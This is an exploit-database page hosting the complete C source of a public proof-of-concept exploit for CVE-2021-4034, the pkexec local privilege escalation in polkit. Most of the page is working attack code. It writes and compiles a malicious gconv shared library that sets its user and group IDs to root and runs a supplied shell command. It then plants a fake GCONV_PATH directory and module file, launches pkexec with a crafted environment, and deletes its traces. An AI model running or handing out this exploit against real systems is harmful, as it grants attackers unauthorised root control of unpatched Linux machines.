Exploit database

GH-cf8d5dd5eee933b7137e50357a52501d

zhzyker/cve-2021-4034

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-4034

144 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
zhzyker/cve-2021-4034Revision 6b43d24a8b6c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2021-4034.c

C · 2,291 bytes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void fatal(char *f) {
    perror(f);
    exit(-1);
}


void compile_so(char *cmd) {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }

    char so_code1[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", \"-c\",\"";
    char so_code2[]=
	"\" };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
	"  system(\"/bin/rm -rf 'GCONV_PATH=.' 'lol' 'payload.c' 'payload.so'\");\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";


    char *so_code = malloc(strlen(so_code1)+strlen(cmd)+strlen(so_code2)+1);

    strcpy(so_code, so_code1);
    strcat(so_code, cmd);
    strcat(so_code, so_code2);
    //printf("%d\n%s\n",strlen(so_code),so_code);

    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);
    system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
    struct stat st;
    //char *a_argv[]={ argv[1] };
    char *a_argv[] = { NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        NULL
    };

    //printf("[~] compile helper..\n");
    compile_so(argv[1]);

    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
        if (fd < 0) {
            fatal("open");
        }
        close(fd);
    }

    if (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        if(fp == NULL) {
            fatal("fopen");
        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
        fclose(fp);
    }

    //printf("[~] maybe get shell now?\n");

    execve("/usr/bin/pkexec", a_argv, a_envp);
}